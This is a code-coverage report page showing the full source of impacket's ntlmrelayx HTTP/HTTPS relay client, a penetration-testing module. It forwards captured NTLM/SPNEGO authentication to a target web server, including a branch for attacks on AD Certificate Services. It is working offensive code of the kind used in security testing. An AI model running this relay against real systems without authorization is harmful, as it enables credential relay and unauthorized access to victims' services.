Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/httprelayclient.py: 20%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/httprelayclient.py : 20%

## 99 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols.

2#

3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.

4#

5# This software is provided under a slightly modified version

6# of the Apache Software License. See the accompanying LICENSE file

7# for more information.

8#

9# Description:

10# HTTP Protocol Client

11# HTTP(s) client for relaying NTLMSSP authentication to webservers

12#

13# Author:

14# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

15# Alberto Solino (@agsolino)

16#

17 import re

18 import ssl

19 try:

20 from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady

21 except ImportError:

22 from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady

23 import base64

24

25 from struct import unpack

26 from impacket import LOG

27 from impacket.examples.ntlmrelayx.clients import ProtocolClient

28 from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED

29 from impacket.ntlm import NTLMAuthChallenge

30 from impacket.spnego import SPNEGO_NegTokenResp

31

32 PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"]

33

34 class HTTPRelayClient(ProtocolClient):

35 PLUGIN_NAME = "HTTP"

36

37 def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ):

38 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)

39 self.extendedSecurity = extendedSecurity

40 self.negotiateMessage = None

41 self.authenticateMessageBlob = None

42 self.server = None

43 self.authenticationMethod = None

44

45 def initConnection(self):

46 self.session = HTTPConnection(self.targetHost,self.targetPort)

47 self.lastresult = None

48 if self.target.path == '':

49 self.path = '/'

50 else:

51 self.path = self.target.path

52 return True

53

54 def sendNegotiate(self,negotiateMessage):

55 #Check if server wants auth

56 self.session.request('GET', self.path)

57 res = self.session.getresponse()

58 res.read()

59 if res.status != 401:

60 LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status)

61 try:

62 if 'NTLM' not in res.getheader('WWW-Authenticate') and 'Negotiate' not in res.getheader('WWW-Authenticate'):

63 LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate'))

64 return False

65 if 'NTLM' in res.getheader('WWW-Authenticate'):

66 self.authenticationMethod = "NTLM"

67 elif 'Negotiate' in res.getheader('WWW-Authenticate'):

68 self.authenticationMethod = "Negotiate"

69 except (KeyError, TypeError):

70 LOG.error('No authentication requested by the server for url %s' % self.targetHost)

71 if self.serverConfig.isADCSAttack:

72 LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways')

73 else:

74 return False

75

76 #Negotiate auth

77 negotiate = base64.b64encode(negotiateMessage).decode("ascii")

78 headers = {'Authorization':'%s %s' % (self.authenticationMethod, negotiate)}

79 self.session.request('GET', self.path ,headers=headers)

80 res = self.session.getresponse()

81 res.read()

82 try:

83 serverChallengeBase64 = re.search(('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod), res.getheader('WWW-Authenticate')).group(1)

84 serverChallenge = base64.b64decode(serverChallengeBase64)

85 challenge = NTLMAuthChallenge()

86 challenge.fromString(serverChallenge)

87 return challenge

88 except (IndexError, KeyError, AttributeError):

89 LOG.error('No NTLM challenge returned from server')

90 return False

91

92 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

93 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

94 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)

95 token = respToken2['ResponseToken']

96 else:

97 token = authenticateMessageBlob

98 auth = base64.b64encode(token).decode("ascii")

99 headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)}

100 self.session.request('GET', self.path,headers=headers)

101 res = self.session.getresponse()

102 if res.status == 401:

103 return None, STATUS_ACCESS_DENIED

104 else:

105 LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status)

106 #Cache this

107 self.lastresult = res.read()

108 return None, STATUS_SUCCESS

109

110 def killConnection(self):

111 if self.session is not None:

112 self.session.close()

113 self.session = None

114

115 def keepAlive(self):

116 # Do a HEAD for favicon.ico

117 self.session.request('HEAD','/favicon.ico')

118 self.session.getresponse()

119

120 class HTTPSRelayClient(HTTPRelayClient):

121 PLUGIN_NAME = "HTTPS"

122

123 def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ):

124 HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)

125

126 def initConnection(self):

127 self.lastresult = None

128 if self.target.path == '':

129 self.path = '/'

130 else:

131 self.path = self.target.path

132 try:

133 uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)

134 self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context)

135 except AttributeError:

136 self.session = HTTPSConnection(self.targetHost,self.targetPort)

137 return True